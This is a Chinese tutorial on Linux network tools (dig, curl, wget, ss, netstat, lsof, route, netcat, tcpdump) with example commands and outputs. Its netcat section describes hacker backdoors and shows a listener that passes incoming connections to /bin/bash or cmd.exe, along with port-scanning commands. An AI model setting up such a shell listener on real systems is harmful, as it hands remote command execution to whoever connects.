    +noall \
    +answer

查詢MX記錄

將MX作為引數,可以查詢mx記錄,可以使用 -t 增加型別

dig qq.com  MX +noall +answer

; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> qq.com MX +noall +answer
;; global options: +cmd
qq.com.                 4969    IN      MX      10 mx3.qq.com.
qq.com.                 4969    IN      MX      20 mx2.qq.com.
qq.com.                 4969    IN      MX      30 mx1.qq.com.

查詢NS記錄

dig qq.com NS +noall +answer

查詢所有記錄

檢視所有記錄型別(A、MX、NS等),可以使用ANY作為型別。

dig qq.com ANY +noall +answer

; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> qq.com ANY +noall +answer
;; global options: +cmd
qq.com.                 83      IN      A       183.3.226.35
qq.com.                 83      IN      A       203.205.254.157
qq.com.                 83      IN      A       123.151.137.18
qq.com.                 83      IN      A       61.129.7.47

僅檢視記錄的IP

有些場景下,僅需要域名的ip地址(即a記錄),可以使用 +short 選項。

dig qq.com +short
123.151.137.18
203.205.254.157
183.3.226.35
61.129.7.47

+short 也可指定型別

dig qq.com a +short

111.30.144.71
112.53.26.232

dig qq.com mx +short

10 mx3.qq.com.
20 mx2.qq.com.
30 mx1.qq.com.

反向查詢

可以使用dig-x 進行ip地址反向查詢DNS,場景:如果只有一個外部ip地址,並且希望知道屬於它的網站時。當然過了CDN的域名,只會顯示對應CNAME

dig -x 203.205.254.157 +short 

使用指定DNS來進行查詢

預設情況下,dig 使用 /etc/resolv.conf 檔案中定義的DNS。如果要使用其他DNS執行查詢,使用 @dnsserver

dig @8.8.8.8 www.qq.com +short

ins-r23tsuuf.ias.tencent-cloud.net.
109.244.236.76
109.244.236.65

批量查詢

進行批量查詢時可以不用通過shell迴圈查詢了,dig提供了批量查詢的功能。使用dig -f 從檔案內進行批量DNS查詢。

echo www.qq.com > dns.txt
echo www.baidu.com >> dns.txt

dig -f dns.txt +noall +answer

www.baidu.com.          678     IN      CNAME   www.a.shifen.com.
www.a.shifen.com.       106     IN      A       14.215.177.39
www.a.shifen.com.       106     IN      A       14.215.177.38
www.qq.com.             60      IN      CNAME   ins-r23tsuuf.ias.tencent-cloud.net.
ins-r23tsuuf.ias.tencent-cloud.net. 60 IN A     109.244.236.65
ins-r23tsuuf.ias.tencent-cloud.net. 60 IN A     109.244.236.76

也可以在命令列直接根多個域名即可,這樣查詢結果相比於shell迴圈查詢會簡潔很多。

dig qq.com mx +noall +answer baidu.org ns +noall +answer

; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> qq.com mx +noall +answer baidu.org ns +noall +answer
;; global options: +cmd
qq.com.                 4223    IN      MX      10 mx3.qq.com.
qq.com.                 4223    IN      MX      20 mx2.qq.com.
qq.com.                 4223    IN      MX      30 mx1.qq.com.
baidu.org.              300     IN      NS      ns4.brandshelter.net.
baidu.org.              300     IN      NS      ns3.brandshelter.info.
baidu.org.              300     IN      NS      ns2.brandshelter.de.
baidu.org.              300     IN      NS      ns5.brandshelter.us.
baidu.org.              300     IN      NS      ns1.brandshelter.com.

設定dig預設選項

如別名 alias 一樣,在查詢中不想輸入過多的 +noall +answer 之類,可以在 $HOME/.digrc 設定dig 的預設引數,這樣只需和平時一樣使用 dig domain 即可。

cat <<EOF >${HOME}/.digrc
+noall +answer
EOF

dig www.qq.com

www.qq.com.             247     IN      CNAME   ins-r23tsuuf.ias.tencent-cloud.net.
ins-r23tsuuf.ias.tencent-cloud.net. 67 IN A     109.244.236.76
ins-r23tsuuf.ias.tencent-cloud.net. 67 IN A     109.244.236.6

wget & curl

wget 用於從web下載檔案的命令列程式。wget,可以使用 HTTPHTTPSFTP 協議下載檔案。wget還允許下載多個檔案、斷點續傳、限速、遞迴下載、後臺下載、映象網站等等。

curl是Linux命令列工具,可以使用任何可支援的協議(如HTTP、FTP、IMAP、POP3、SCP、SFTP、SMTP、TFTP、TELNET、LDAP或FILE)在伺服器之間傳輸資料。

在Linux下,curl是由 libcurl 提供驅動封裝的cli客戶端,在 libcurl 驅動下,curl可以一次傳輸多個檔案。而PHP中的cURL函式,也是基於libcurl驅動的。

各系統下的安裝

  • Ubuntu/Debian: curl |wgetapt install curl | apt install wget
  • Centos/Fedora: curl | wgetyum install -y curl | yum install -y wget
  • Apline:curl | wgetapk add --no-cache curl | apk add --no-cache wget

curl

cURL常用引數

引數 說明
-i 預設隱藏響應頭,此選項列印響應頭與
-I/--head 僅顯示響應頭
-o 將相應內容儲存指定路徑下
-O 將相應內容儲存在當前工作目錄下
-C 斷點續傳,在 crtl + c終端後,可以從中斷後部分開始
-v 顯示請求頭與響應頭
-x 使用代理
-X 指定請求方法,POST GET PUT DELETE等
-d 如GET/POST/PUT/DELETE 需要傳的表單引數,如JSON格式
-u username:password 當使用ftp有使用者名稱可以使用-u,ftp允許匿名使用者訪問可以忽略
–-limit-rate 2000B 限速
-T/--upload-file <file> 上傳一個檔案
-c/--cookie-jar <file name> 將cookie下載到檔案內
-k/--insecure 允許執行不安全的ssl連線,即調過SSL檢測
--header 'Host: targetapplication.com' 使用請求頭
-L/--location 接受服務端redirect的請求
-F 上傳二進位制檔案

限制下載速率

curl --limit-rate 100K http://yourdomain.com/yourfile.tar.gz -O

使用代理訪問

curl --proxy yourproxy:port https://yoururl.com

限速訪問

curl www.baidu.com  --limit-rate 1k

儲存cookie和使用cookie

[root@VM-0-2-centos ~]# curl --cookie-jar cnncookies.txt https://www.baidu.com/index.html -O -s -v
* About to connect() to www.baidu.com port 443 (#0)
*   Trying 14.215.177.39...
* Connected to www.baidu.com (14.215.177.39) port 443 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
*   CAfile: /etc/pki/tls/certs/ca-bundle.crt
  CApath: none
* SSL connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
* Server certificate:
*       subject: CN=baidu.com,O="Beijing Baidu Netcom Science Technology Co., Ltd",OU=service operation department,L=beijing,ST=beijing,C=CN
*       start date: Apr 02 07:04:58 2020 GMT
*       expire date: Jul 26 05:31:02 2021 GMT
*       common name: baidu.com
*       issuer: CN=GlobalSign Organization Validation CA - SHA256 - G2,O=GlobalSign nv-sa,C=BE
> GET /index.html HTTP/1.1
> User-Agent: curl/7.29.0
> Host: www.baidu.com
> Accept: */*
> 
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
< Connection: keep-alive
< Content-Length: 2443
< Content-Type: text/html
< Date: Wed, 26 May 2021 12:14:41 GMT
< Etag: "58860402-98b"
< Last-Modified: Mon, 23 Jan 2017 13:24:18 GMT
< Pragma: no-cache
< Server: bfe/1.0.8.18
* Added cookie BDORZ="27315" for domain baidu.com, path /, expire 1622117681
< Set-Cookie: BDORZ=27315; max-age=86400; domain=.baidu.com; path=/
< 
{ [data not shown]
* Connection #0 to host www.baidu.com left intact
# Netscape HTTP Cookie File
# http://curl.haxx.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

.baidu.com      TRUE    /       FALSE   1622117681      BDORZ   27315
[root@VM-0-2-centos ~]# curl --cookie cnncookies.txt https://www.baidu.com -s -v -o /dev/null
* About to connect() to www.baidu.com port 443 (#0)
*   Trying 14.215.177.39...
* Connected to www.baidu.com (14.215.177.39) port 443 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
*   CAfile: /etc/pki/tls/certs/ca-bundle.crt
  CApath: none
* SSL connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
* Server certificate:
*       subject: CN=baidu.com,O="Beijing Baidu Netcom Science Technology Co., Ltd",OU=service operation department,L=beijing,ST=beijing,C=CN
*       start date: Apr 02 07:04:58 2020 GMT
*       expire date: Jul 26 05:31:02 2021 GMT
*       common name: baidu.com
*       issuer: CN=GlobalSign Organization Validation CA - SHA256 - G2,O=GlobalSign nv-sa,C=BE
> GET / HTTP/1.1
> User-Agent: curl/7.29.0
> Host: www.baidu.com
> Accept: */*
> Cookie: BDORZ=27315
> 
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
< Connection: keep-alive
< Content-Length: 2443
< Content-Type: text/html
< Date: Wed, 26 May 2021 12:23:27 GMT
< Etag: "58860402-98b"
< Last-Modified: Mon, 23 Jan 2017 13:24:18 GMT
< Pragma: no-cache
< Server: bfe/1.0.8.18
* Replaced cookie BDORZ="27315" for domain baidu.com, path /, expire 1622118207
< Set-Cookie: BDORZ=27315; max-age=86400; domain=.baidu.com; path=/  # 這裡可以看到設定的cookie
< 
{ [data not shown]
* Connection #0 to host www.baidu.com left intact

使用代理

curl -x socks5://127.0.0.1:10808 https://www.google.com

使用application/x-www-form-urlencoded表單型別

這裡使用的為application/x-www-form-urlencoded

curl -d "option=value&something=anothervalue" -X POST https://{hostname}/

使用json格式作為body

curl  -H "Content-Type: application/json" -X POST https://host.com/ \
	-d '
	{
		"option": "value", 
		"something": "anothervalue"
	}'

使用curl 上傳檔案

curl {host}/api/v1/upimg -F "file=@/Users/fungleo/Downloads/401.png" \
	-H "token: 222" \
	-v

也可以指定MIME型別。如:

curl -F 'file=@photo.png;type=image/png' https://{host}/api/v1/upimg

curl輸出的格式變數

curl -w引數提供了一些格式變數,可以達到緊緊獲取某些資料

僅獲取http狀態碼

curl -w %{http_code} www.baidu.com -o /dev/null -s

獲取整個請求的時間

獲取整個請求的耗時,單位秒,顯示單位 毫秒

curl -w %{time_total} www.baidu.com -o /dev/null -s

獲取域名解析時間

curl -w %{time_namelookup} www.baidu.com -o /dev/null -s

獲取TCP連線耗時

curl -w %{time_connect} www.baidu.com -o /dev/null -s

獲取SSL/SSH握手到遠端主機耗時

curl -w %{time_appconnect} https://www.baidu.com -o /dev/null -s -v

獲取所有重定向的耗時

這裡是從查詢、連線、傳輸整個事務的完成到開始傳送資料之前的耗時

curl -w %{time_redirect} www.baidu.com -o /dev/null -s

獲得下載的總位元組數

這裡是http相應的body長度,而不是加上頭部的大小

curl -w %{size_download} www.baidu.com -o /dev/null -s
[root@VM-0-2-centos ~]# curl -w %{size_download} www.baidu.com -o /dev/null -s
2381
[root@VM-0-2-centos ~]# cwww.baidu.com -s|wc l -s
      2     159    2381

獲得請求體送位元組數

curl -w %{size_request} www.baidu.com -o /dev/null -s

獲得傳輸中的連線數

curl -w %{num_connects} www.baidu.com -o /dev/null -s

獲得重定向次數

curl -w %{num_redirects} www.360buy.com -o /dev/null -s  -L

獲得SSL驗證結果

0 表示是成功的

curl -w %{ssl_verify_result} https://www.baidu.com -o /dev/null -s -L

獲得重定向的地址

當沒有指定-L時,會返回被重定向後的地址

curl -w %{redirect_url} https://www.360buy.com -o /dev/null -s 

獲得上傳和下載速度

curl -w %{speed_download} https://www.360buy.com -o /dev/null -s
curl -w %{speed_upload} https://www.360buy.com -o /dev/null -s

根據自己需要拼接特定格式

curl -w "總共請求時長:%{time_total}\n總跳轉次數:%{num_redirects}\n" \
www.360buy.com \
-o /dev/null -s  \
-L

總共請求時長:1.338
總跳轉次數:3

wget

簡單使用

使用wget最簡單的方法是為它提供通過HTTP下載的檔案的位置。如,下載檔案。

wget http://website.com/files/file.zip

該操作會將檔案下載到工作目錄中。

下載檔案並儲存為指定名稱

wget –O [file_name] [URL]

將檔案下載到指定目錄

預設情況下,wget下載的檔案儲存在使用者所在工作目錄中。使用 –P 可以將檔案儲存到指定路徑。

wget –P [wanted_directory] [URL]

設定下載速度

在下載時可以設定下載時最大使用頻寬,這樣就不會使用主機全部的可用頻寬。下載速度以 km 定義單位。

wget --limit-rate [wanted_speed] [URL]

wget --limit-rate 1m http://us.download.nvidia.com/tesla/396.37/nvidia-diag-driver-local-repo-ubuntu1710-396.37_1.0-1_amd64.deb 

斷點續傳

如果在下載時取消,wget提供了可以在中斷前停止的地方繼續下載。當下載檔案時連線丟失時,這個非常有用。

wget –c [URL]

下載多個檔案

wget也提供了下載多個檔案的方法:

方法1:將需要下載的檔案地址儲存在檔案中 使用 -i 指定檔案,每個URL 單獨佔一行

wget –i [file_name]

下載網頁(網站映象)

使用 –m 下載URL中包含的所有連線,結果會儲存為一個資料夾

wget –m [URL]

FTP下載

wget也可以下載FTP檔案,當需要認證時,可以指定FTP的使用者名稱和密碼,然後接FTP地址:

wget --ftp-user=[ftp_username] --ftp-password=[ftp_password] ftp://...

後臺下載

當下載檔案很大時,wget也支援後臺下載檔案,在網路不穩定命令列斷開時很實用。

wget –b [URL]

可以使用命令 tail –f wget –log 來檢查下載狀態

中斷重試次數

當網路中斷後,wget也支援設定在網路中斷後嘗試下載檔案的次數:

wget --tries=[number_of_tries] [URL]

忽略證照驗證

預設情況下,wget會驗證服務端SSL/TLS證照是否有效。如果識別到無效的證照,它將拒絕下載。當在訪問自簽名證照時,可以使用--no-check-certificate 忽略驗證

wget --no-check-certificate [URL]

自定義User-Agent

當服務端阻止了特定的 User-Agent 時,可以進行自定義 User-Agent 設定。

wget --user-agent=”User Agent Here” “[URL]”

實用技巧-下載內容到標準輸出stdout

如在下載一個tar包時,一般都是wget 後 在tar 解壓到對應目錄,可以使用 -O - 將其下載到標準輸出,-q 靜默方式,通過管道直接解壓到對應的路徑下。

wget -q -O - "http://wordpress.org/latest.tar.gz" | tar -xzf - -C /var/www

netstat & ss

netstat (network statistics) 命令列工具,用於監視傳入和傳出的網路連線,以及檢視路由表、介面統計等。netstat在所有類似Unix的作業系統上都可用,在Windows作業系統上也可用,是最基本的網路服務除錯工具。

ss (socket statistics) 命令列工具,用於在Linux系統上顯示與網路套接字相關的資訊。

不過,現在netstat 命令早已被棄用,取而代之的是 iproute 套件中的 ss。ss比起 netstatss 能夠顯示有關網路連線的詳細資訊,並且速度更快。netstat/proc 檔案收集資訊,當有大量連線要列印時,netstat 效率很低。而ss 是直接從核心空間獲取資訊。並且ss命令在使用起來與netstat 非常相似,使用者幾乎可以無縫切換。

各系統下的安裝

  • ss

  • Ubuntu/Debian: iproute2apt install iproute2

  • Centos/Fedora: iprouteyum install -y iproute

  • Apline:iprouteapk add --no-cache iproute

  • netstat

  • Ubuntu/Debian: net-toolsapt install net-tools

  • Centos/Fedora: net-toolsyum install -y net-tools

  • Apline:net-toolsapk add --no-cache net-tools

ss

檢視所有連線

沒有任何選項的ss命令只列出所有連線。

檢視Listening 與 Non-listening Ports

ss -a

檢視監聽 套接字列表

這裡列出所有監聽套接字,不關其是服務監聽還是客戶端請求佔用

ss -l

檢視所有TCP連線

這裡只所有的tcp連線, 包含客戶端與服務端

ss -t

檢視所有監聽型別的tcp連線

ss -lt

檢視所有udp連線

ss -ua

檢視監聽型別的UDP連線

ss -lu

顯示socket的pid程式id

ss -p

顯示連線摘要資訊

ss -s

顯示ipv6或ipv4 連線

ss -4
ss -6

篩選連線

語法

ss [ OPTIONS ] [ STATE-FILTER ] [ ADDRESS-FILTER ]

ss命令還提供了篩選方法,過濾套接字埠或地址。例如,要顯示具有ssh服務的源埠與目標埠(即監聽與客戶端連線)。

 ss -at '( dport = :22 or sport = :22 )'

也可以通過服務名稱進行過濾

ss -at '( dport = :ssh or sport = :ssh )'

僅顯示所有處於 established 狀態的Ipv4 tcp套接字。

ss -t4 state established -n

Recv-Q Send-Q   Local Address:Port    Peer Address:Port   
0      0        172.16.0.2:22         61.50.248.5:22005   
0      0        172.16.0.2:42930      169.254.0.55:5574    
0      0        172.16.0.2:22         61.50.248.5:22008   
0      0        172.16.0.2:22         61.50.248.5:22003   
0      0        172.16.0.2:40652      94.130.12.30:443     
0      36       172.16.0.2:22         61.50.248.5:22012   
0      0        172.16.0.2:22         61.50.248.5:22004   

列出狀態為time wait的套接字

ss -t4 state time-wait -n

這裡狀態可以為下面的任意一種

  • established
  • syn-sent
  • syn-recv
  • fin-wait-1
  • fin-wait-2
  • time-wait
  • closed
  • close-wait
  • last-ack
  • closing
  • all 上面所有狀態
  • connected 除listen和closed之外的所有狀態
  • synchronized 除syn-sent之外的所有連線狀態
  • 顯示狀態,這些被維護為mini sockets,即 time-wait syn-recv
  • big 與bucket選項相反

過濾地址

ss -nt dst 74.125.236.178

還可以過濾網段

ss -nt dst 74.125.236.178/16

ip和埠的組合

ss -nt dst 74.125.236.178:80

源地址為127.0.0.1,且源埠大於5000

ss -nt src 127.0.0.1 sport gt :5000

源埠為25的smtp套接字

ss -ntlp sport eq :smtp

埠號大於25

ss -nt sport gt :1024

遠端埠小於100的套接字

ss -nt dport \< :100

連線到遠端80埠的

ss -nt state connected dport = :80

不解析主機名

可以通過 -n 選項阻止ss 將ip解析為主機名,來達到更快地獲得輸出,但這也無法進行到埠號的解析。

ss -at '( dport = :22 or sport = :22 )'

State      Recv-Q Send-Q     Local Address:Port       Peer Address:Port                
LISTEN     0      128        		  *:ssh                     *:*                    
ESTAB      0      0          172.16.0.2:ssh           111.206.214.55:49374                
ESTAB      0      0          172.16.0.2:ssh           61.50.248.5:optohost005          
ESTAB      0      36         172.16.0.2:ssh           61.50.248.5:22008                
ESTAB      0      0          172.16.0.2:ssh           61.50.248.5:optohost003          
ESTAB      0      0          172.16.0.2:ssh           61.50.248.5:optohost004          
LISTEN     0      128        	   [::]:ssh            			[::]:*                    


ss -at '( dport = :22 or sport = :22 )' -n
State      Recv-Q Send-Q   Local Address:Port         Peer Address:Port              
LISTEN     0      128      			*:22              			*:*                  
ESTAB      0      0        172.16.0.2:22              111.206.214.55:49374              
ESTAB      0      0        172.16.0.2:22              61.50.248.5:22005              
ESTAB      0      36       172.16.0.2:22              61.50.248.5:22008              
ESTAB      0      0        172.16.0.2:22              61.50.248.5:22003              
ESTAB      0      0        172.16.0.2:22              61.50.248.5:22004              
LISTEN     0      128            [::]:22              			[::]:*      

僅顯示監聽套接字

ss -ltn

要列出所有偵聽的udp連線,請將t替換為u

ss -lun

顯示時間資訊

可以使用 -o 選項,來獲得每個連線的時間資訊。通過timer得知

ss -tn -o

State      Recv-Q Send-Q     Local Address:Port    Peer Address:Port              
ESTAB      0      0          172.16.0.2:22         61.50.248.5:22005   timer:(keepalive,40min,0)
ESTAB      0      0          172.16.0.2:42930      169.254.0.55:5574               
ESTAB      0      0          172.16.0.2:22         61.50.248.5:22008   timer:(keepalive,64min,0)
ESTAB      0      0          172.16.0.2:44900      169.254.0.55:80     timer:(keepalive,13sec,0)
ESTAB      0      0          172.16.0.2:22         61.50.248.5:22003   timer:(keepalive,40min,0)
ESTAB      0      36         172.16.0.2:22         61.50.248.5:22012   timer:(on,347ms,0)
ESTAB      0      0          172.16.0.2:39316      94.130.12.30:443    timer:(keepalive,50sec,0)
ESTAB      0      0          172.16.0.2:22         61.50.248.5:22004   timer:(keepalive,40min,0)

netstat

  • 列出所有tcp與udp的連線的所有埠 netstat -a
  • 僅列出tcp (Transmission Control Protocol) 埠的連線 netstat -at
  • 僅列出udp (User Datagram Protocol ) 埠的連線 netstat -au
  • 列出所有活動監聽埠連線 netstat -l
  • 列出TCP監聽埠 netstat -lt
  • 列出udp監聽埠 netstat -lu
  • 列出unix socket 監聽埠 netstat -lx
  • 顯示統計資訊 netstat -s
  • 顯示tcp的統計資訊 netstat -st
  • 顯示udp的統計資訊 netstat -su
  • 顯示服務名與PID號 netstat -tp
  • 顯示混雜模式,類似watch 每5s 重新整理 netstat -ac 5 | grep tcp
  • 顯示核心路由表,類似 route -n 命令;netstat -r
  • 顯示網路介面資料包事務,包括傳輸和接收MTU大小的資料包。 netstat -i
  • 顯示核心介面表,類似 ifconfig 命令。 netstat -ie
  • 顯示IPv4和IPv6的廣播資訊。netstat -g
  • 混雜模式,間隔時間列印netstat命令的資訊 netstat -c [second] -ltnp
  • 顯示原始網路資訊統計 netstat --statistics --raw

lsof

lsof (LiSt Open Files),主要用來找出哪個程式開啟了哪些檔案。眾所周知,Linux是一個基於檔案的作業系統(管道、套接字、目錄、裝置等)。使用lsof也可以排查一些網路問題。如未關閉的檔案不能被移動或刪除,網路埠使用的檔案等,都可以通過lsof快速定位。

各系統下的安裝

  • Ubuntu/Debian: lsofapt install lsof
  • Centos/Fedora: lsofyum install -y lsof
  • Apline:lsof apk add lsof --no-cache

列出所有開啟的檔案

不帶任何引數的情況下執行lsof,可以列出所有開啟的檔案

lsof

列出使用者程式使用的檔案

lsof 可以檢視特定使用者程式使用的哪些檔案,使用-u

lsof -u root

根據網路地址查詢檔案

lsof -i 4

按照程式名稱列出所打卡的檔案

這裡不必使用完整的程式名,會列出所有以 name開頭的程式應用使用的檔案

lsof -u nginx

列出程式使用的檔案

使用 -p [pid] k可以顯示程式開啟的檔案,可以通過 ^ 來排除特定的PID。

lsof -p [pid]
lsof -p [^pid]

找到使用檔案的程式

使用 -t 餐食可以找到哪些程式使用了該檔案

lsof -t [file_name]

列出目錄中所有開啟的檔案

+D 餐食可以對目錄的所有開啟例項(包括它包含的所有檔案和目錄)進行搜尋。

lsof +D [dir]

列出網路檔案

-i 偵聽特定埠號的程式或應用程式,如檢查了哪個程式程式正在使用埠80。

lsof -i:80	

還可以根據埠範圍程式查詢

lsof -i:1-1024

根據網路連線型別來查詢檔案

lsof還可以根據連線的型別列出檔案。例如,TCP使用的檔案

lsof -i tcp

拿到程式的父程式ID

lsof -R 可以拿到程式的父程式IP輸出中列出父程式標識(PPID Parent Process IDentification)。

lsof -p [] -R

檢視使用者的網路連線

結合使用 -i-u 命令列選項,我們可以搜尋Linux使用者的所有網路連線。可以按照需要檢查一個被黑客攻擊的系統,如我們檢查使用者root的所有網路活動:

lsof -a -i -u root

列出所有記憶體對映檔案

lsof -d mem

route

在Linux中,route命令用於處理IP/核心路由表。主要用於通過網路介面建立到主機/IP的靜態路由。它用於顯示或更新IP/核心路由表。

各系統下的安裝

  • Ubuntu/Debian: net-toolsapt install net-tools
  • Centos/Fedora: net-toolsyum install -y net-tools
  • Apline:net-tools apk add net-tools --no-cache

route命令不加任何引數,預設情況下將顯示核心路由表條目的詳細資訊。當包在這個路由IP範圍內傳送時,通過ARP協議找到目的地的MAC地址,包將被髮送到MAC地址。

當在路由條目中找不到對應的路由資訊,資料包將被轉發到預設閘道器,該閘道器決定該資料包的進一步路由。

route命令不加引數,會在輸出時顯示為主機名,這時解析會影響效能。可以使用 -n 選項請求不顯示主機名。

route -n

新增預設閘道器

可以使用 route add 命令新增一個預設閘道器。

route add default gw 10.0.0.1

新增一條路由

這裡新增一條,將通過10.0.0.0/24的流量由eth0裝置通過 新增一條路由,如下所示。

route add -net 10.0.0.0 netmask 255.255.255.0 dev eth0

-net 目標網路

dev 將規則和裝置關聯在一起

新增一個目標主機

route add -host 12.123.0.10 gw 192.168.1.1 enp0s3

列出核心路由表資訊

核心維護了路由快取以更快地路由資料包。可以使用 -C 來列印核心的路由快取資訊。

route -Cn

Kernel IP routing cache
Source          Destination     Gateway         Flags Metric Ref    Use Iface
10.0.0.4        10.0.0.1        10.0.0.1              0      1        0 eth0
10.0.0.1        10.0.0.4        10.0.0.4        il    0      0       44 lo
10.0.0.1        10.0.0.255      10.0.0.255      ibl   0      0        7 lo

拒絕路由到特定的主機

有些場景下,可能需要拒絕資料包路由到特定的主機/網路。

route add -host 192.168.1.51 reject

可以看到路由已經不會路由該流量了

ping 10.0.0.2
connect: No route to host

如果需要拒絕整個網路可以這樣

route add -net 192.168.1.0 netmask 255.255.255.0 reject

刪除一條路由

# 刪除預設路由
route del default
# 刪除剛才新增的拒絕路由
route del -host 10.0.0.2 reject

ncat & netcat(nc) & nmap

netcat

netcat(簡稱nc)是一款功能強大的網路命令列工具,用於在Linux中執行與TCP、UDP或UNIX域套接字相關的任何操作。netcat可以用於埠掃描、埠重定向,作為埠監聽器(用於傳入連線);它還可以用來開啟遠端連線和其他許多事情。此外,還可以將其用作訪問目標伺服器的後門。netcat還因此被稱為TCP/IP的“瑞士軍刀”。

各系統下的安裝

  • Ubuntu/Debian: netcatapt install netcat
  • Centos/Fedora: ncyum install -y nc
  • Apline:netcat-openbsdapk add --no-cache netcat-openbsd

埠掃描

netcat可以用於埠掃描:瞭解哪些埠是開放的,並且在目標機器上執行服務。它可以掃描單一或多個開防的埠。如示例,-z 選項將nc設定為只掃描監聽守護程式,而不實際向它們傳送任何資料。-v 選項啟用詳細模式,-w 為無法建立連線時超時時間。

nc -v -w 10 -z 195.133.11.43 22

Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 195.133.11.43:22.
Ncat: 0 bytes sent, 0 bytes received in 0.25 seconds.

也可以掃描一個範圍

nc -v -n -z -w 1 127.0.0.1 1-1000

在伺服器間傳送檔案

netcat可以在兩臺伺服器之間傳輸檔案,這兩個系統都必須安裝nc。例如,要將ISO映像檔案從一臺計算機複製到另一臺計算機並監視傳輸進度(使用pv),請在傳送方/接收端上執行以下命令。

將以netcat 的監聽模式 -l

tar -zcf - debian-10.0.0-amd64-xfce-CD-1.iso  | pv | nc -l -p 3000 -q 5

在接受端執行命令

nc 192.168.1.4 3000 | pv | tar -zxf -

使用netcat實現一個命令列聊天伺服器

可以使 netcat 建立一個簡單的命令列訊息伺服器,前提條件是nc必須安裝在兩個系統上。在服務端,執行命令來建立監聽埠5555的聊天伺服器。

nc -l -vv -p 5000

在客戶端上,執行命令連線到服務端進行聊天會話。

nc {ip} 5000

使用nc建立一個web伺服器

使用nc -l 選項可以建立一個基礎的不安全的web伺服器,需要一個靜態html檔案。然後可以通過 while 保持netcat命令不退出。正常情況下,netcat在連線斷開時退出。

while : ; do ( echo -ne "HTTP/1.1 200 OK\r\n" ; cat 1.html; ) | nc -l -p 8080 ; done
[root@vm207694 ~]# while : ; do ( echo -ne "HTTP/1.1 200 OK\r\n" ; cat 1.html; ) | nc -l -p 8080 ; done
GET / HTTP/1.1
Host: ip:8080
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6

網路故障排查

netcat 主要常用的一個方面時排查網路連線故障,可以使用 netcat 來驗證伺服器正在傳送哪些資料以響應客戶端發出的命令。

使用命令的可以輸出包括web伺服器傳送的標頭,這些標頭可用於故障排除。也可以使用 curl 等命令進行同樣的操作。

printf "GET / HTTP/1.0\r\n\r\n" | nc baidu.com 80

HTTP/1.1 200 OK
Date: Mon, 28 Jun 2021 12:16:55 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Tue, 29 Jun 2021 12:16:55 GMT
Connection: Close
Content-Type: text/html

<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>

查詢埠上執行的服務

使用 netcat 可以獲取服務監聽埠的資訊,單一般情況下,僅常見公共服務會這樣,一些服務並不會相應對應的應用名稱。。-n 標誌表示禁用DNS或服務查詢。

nc -v -n 195.133.11.43 22
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 195.133.11.43:22.
SSH-2.0-OpenSSH_7.4

網路後門

一般情況下,黑客將 netcat 當作網路後門來執行,通過反彈式shell以獲取遠端命令。要充當後門。-e 在目標系統上執行的命令。

如監聽一個埠,並將所有傳入的輸入傳遞給bash命令,結果將傳送於客戶端。

# linux
nc -l -p -v 3001  -e /bin/bash

# windows
nc -l -p 3001  -e cmd.exe

檢查一個udp埠

-z:無法進行I/O ,僅報告連線狀態

-u:使用udp協議

nc -vz -u 

tcpdump

tcpdump網路嗅探器,將強大和簡單結合到一個單一的命令列介面中,能夠將網路中的報文抓取,輸出到螢幕或者記錄到檔案中。

各系統下的安裝

  • Ubuntu/Debian: tcpdumpapt-get install -y tcpdump
  • Centos/Fedora: tcpdumpyum install -y tcpdump
  • Apline:tcpdump apk add tcpdump --no-cache

檢視指定介面上的所有通訊

語法

引數 說明
-i [interface]
 -w [flle] 第一個n表示將地址解析為數字格式而不是主機名,第二個N表示將埠解析為數字格式而不是服務名
-nn
-X hex and ASCII
-A ASCII
-XX
-v 詳細資訊
-r 讀取檔案而不是實時抓包
關鍵字
type host、net、port、portrange
direction src、dst、src or dst 、src and ds
protocol ether、ip,arp、tcp、udp、wlan

捕獲所有網路介面

tcpdump -D

按IP查詢流量

最常見的查詢之一 host,可以看到來往於 1.1.1.1 的流量。

tcpdump host 1.1.1.1

按源/目的 地址過濾

如果只想檢視來自/向某方向流量,可以使用 srcdst

tcpdump src|dst 1.1.1.1

通過網路查詢資料包

使用 net 選項,來要查詢出/入某個網路或子網的資料包。

tcpdump net 1.2.3.0/24

使用十六進位制輸出資料包內容

hex 可以以16進位制輸出包的內容

tcpdump -c 1 -X icmp

檢視特定埠的流量

使用 port 選項來查詢特定的埠流量。

tcpdump port 3389
tcpdump src port 1025

查詢埠範圍的流量

tcpdump portrange 21-23

過濾包的大小

如果需要查詢特定大小的資料包,可以使用以下選項。你可以使用 lessgreater

tcpdump less 32
tcpdump greater 64
tcpdump <= 128

捕獲流量輸出為檔案

-w 可以將資料包捕獲儲存到一個檔案中以便將來進行分析。這些檔案稱為PCAP(PEE-cap)檔案,它們可以由不同的工具處理,包括 Wireshark

tcpdump port 80 -w capture_file

組合條件

tcpdump也可以結合邏輯運算子進行組合條件查詢

  • AND
    and or &&

  • OR
    or or ||

  • EXCEPT
    not or !

tcpdump -i eth0 -nn host 220.181.57.216 and 10.0.0.1  # 主機之間的通訊
